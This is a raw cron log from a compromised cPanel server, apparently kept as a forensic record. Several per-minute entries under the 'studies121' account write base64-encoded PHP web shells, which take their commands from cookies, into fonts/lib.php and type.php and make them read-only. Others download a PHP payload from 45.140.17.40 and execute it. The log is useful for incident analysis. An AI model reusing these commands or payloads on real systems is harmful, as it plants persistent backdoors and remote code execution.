Sep  3 22:54:01 ip-184-168-122-23 CROND[11964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:55:02 ip-184-168-122-23 CROND[12048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:55:02 ip-184-168-122-23 CROND[12053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:55:02 ip-184-168-122-23 CROND[12050]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:55:02 ip-184-168-122-23 CROND[12051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:55:02 ip-184-168-122-23 CROND[12052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:55:02 ip-184-168-122-23 CROND[12054]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:56:02 ip-184-168-122-23 CROND[12153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:56:02 ip-184-168-122-23 CROND[12152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:56:02 ip-184-168-122-23 CROND[12154]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:56:02 ip-184-168-122-23 CROND[12155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:56:02 ip-184-168-122-23 CROND[12156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:57:01 ip-184-168-122-23 CROND[12248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:57:01 ip-184-168-122-23 CROND[12249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:57:01 ip-184-168-122-23 CROND[12251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:57:01 ip-184-168-122-23 CROND[12250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:58:01 ip-184-168-122-23 CROND[12330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:58:01 ip-184-168-122-23 CROND[12333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:58:01 ip-184-168-122-23 CROND[12332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:58:01 ip-184-168-122-23 CROND[12334]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:58:01 ip-184-168-122-23 CROND[12335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:59:01 ip-184-168-122-23 CROND[12411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:59:01 ip-184-168-122-23 CROND[12413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:59:01 ip-184-168-122-23 CROND[12415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:59:01 ip-184-168-122-23 CROND[12414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:00:01 ip-184-168-122-23 CROND[12581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:00:01 ip-184-168-122-23 CROND[12583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:00:01 ip-184-168-122-23 CROND[12584]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 23:00:01 ip-184-168-122-23 CROND[12589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:00:01 ip-184-168-122-23 CROND[12590]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:00:01 ip-184-168-122-23 CROND[12592]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:00:01 ip-184-168-122-23 CROND[12593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:00:01 ip-184-168-122-23 CROND[12591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:01:01 ip-184-168-122-23 CROND[12691]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 23:01:01 ip-184-168-122-23 CROND[12692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[12691]: starting 0anacron
Sep  3 23:01:01 ip-184-168-122-23 CROND[12703]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 23:01:01 ip-184-168-122-23 CROND[12705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:01:01 ip-184-168-122-23 CROND[12704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:01:01 ip-184-168-122-23 CROND[12706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[12707]: finished 0anacron
Sep  3 23:02:01 ip-184-168-122-23 CROND[12788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:02:01 ip-184-168-122-23 CROND[12789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:02:01 ip-184-168-122-23 CROND[12790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:02:01 ip-184-168-122-23 CROND[12791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:02:01 ip-184-168-122-23 CROND[12792]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:03:01 ip-184-168-122-23 CROND[12887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:03:01 ip-184-168-122-23 CROND[12885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:03:01 ip-184-168-122-23 CROND[12886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:03:01 ip-184-168-122-23 CROND[12888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:04:01 ip-184-168-122-23 CROND[12981]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:04:01 ip-184-168-122-23 CROND[12982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:04:01 ip-184-168-122-23 CROND[12985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:04:01 ip-184-168-122-23 CROND[12988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:04:01 ip-184-168-122-23 CROND[12989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:05:01 ip-184-168-122-23 CROND[13074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:05:01 ip-184-168-122-23 CROND[13077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:05:01 ip-184-168-122-23 CROND[13076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:05:01 ip-184-168-122-23 CROND[13080]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:05:01 ip-184-168-122-23 CROND[13081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:05:01 ip-184-168-122-23 CROND[13078]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 23:05:01 ip-184-168-122-23 CROND[13079]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:06:01 ip-184-168-122-23 CROND[13246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:06:01 ip-184-168-122-23 CROND[13248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:06:01 ip-184-168-122-23 CROND[13249]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
